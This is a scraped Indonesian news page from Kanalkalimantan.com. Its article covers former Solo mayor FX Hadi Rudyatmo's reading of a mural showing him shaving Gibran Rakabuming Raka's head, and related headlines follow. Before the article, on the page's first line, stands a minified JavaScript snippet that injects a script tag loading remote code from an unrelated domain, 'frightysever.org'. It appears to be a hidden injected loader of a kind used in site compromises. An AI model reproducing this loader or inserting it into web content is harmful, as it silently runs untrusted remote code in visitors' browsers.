(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Mantan Wali Kota Solo, FX Hdai Rudyatmo mengomentari munculnya mural bergambar dirinya yang sedang mencukur rambut Gibran Rakabuming Raka di sebuah tembok di Jalan Ir Juanda, Jebres.
Rudy menilai, potong rambut itu dimaknai membersihkan hal buruk. Seperti terpampang dia tanpa rambut yang akan mencukur putra sulung Presiden Joko Widodo tersebut.
“Ya kalau saya sampaikan, saya plontos di gambar itu membuang sial. Hal hal yang menempel di kepala yang tidak baik itu bisa hilang semua,” kata Rudy, Senin (6/9/2021).
Politisi PDIP itu mencoba menerjemahkan karya seniman mural, Irul Hidayat. Selain cukur rambut, posisinya mencukur Gibran dinilainya juga memiliki arti kepemimpinan.
Baca juga: Rusak dan Bakar Masjid Ahmadiyah di Sintang, 10 Terduga Pelaku Diciduk Polisi
Gibran duduk hendak dicukur ini bisa diartikan seperti pepatah berdiri sama tinggi dan duduk sama rendah.
” Pemimpin itu harus memposisikan dengan yang dipimpin,” jelasnya.
Gibran yang akan dicukur rambutnya ini diartikan seperti makna membersihkan hal buruk di dalam isi kepala. Dengan demikian kepalanya sebagai pemimpin untuk bisa diisi oleh keinginan rakyat.
Makna yang disampaikannya ini, setidaknya Rudy memahami konsep yang diinginkan Irul sebagai pembuat mural.
“Mas Gibran ini, supaya dibersihkan rambutnya, dan mengisi kepalanya dengan apa yang dimau oleh rakyat, kira kira seperti itu gambarannya,” papar Rudy.
Dalam kesempatan itu, Irul Hidayat sengaja membuat sosok Rudi yang akan mencukur gundul rambut Gibran.
Baca juga: Oknum Polisi dan Seorang Perempuan Terlibat Kasus Narkotika Ditangkap Polres HST
Rudi sebagai simbol mengayomi, membimbing semua lapisan masyarakat baik yang tua maupun muda. Makna berikutnya pemimpin itu juga harus berani digunduli. Termasuk dekat dengan rakyatnya serta berani berkorban.
“Makna Gibran digunduli ini adalah sosok pemimpin muda yang harus berani diejek, dikritisi, semacam plonco-lah,” tutupnya.(Suara.com/Budi Kusumo)
Editor: suara
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) kedatangan rombongan anggota… Read More
Raih 226.746 Suara, Syaifullah Tamliha-Habib Ahmad Peroleh 43.696 Suara Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Perkumpulan Penyedia Jasa Boga Indonesia (PPJI) menyambangi Ibu… Read More
KANALKALIMANTAN.COM, AMUNTAI - Usaha aneka kuliner kue kering dan cemilan hasil usah bersama ibu-ibu yang… Read More
KANALKALIMANTAN.COM, AMUNTAI - Kelompok Masyarakat Peduli Gambut (KMPG) Desa Pulantani, Kecamatan Haur Gading, Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui atas usulan… Read More
This website uses cookies.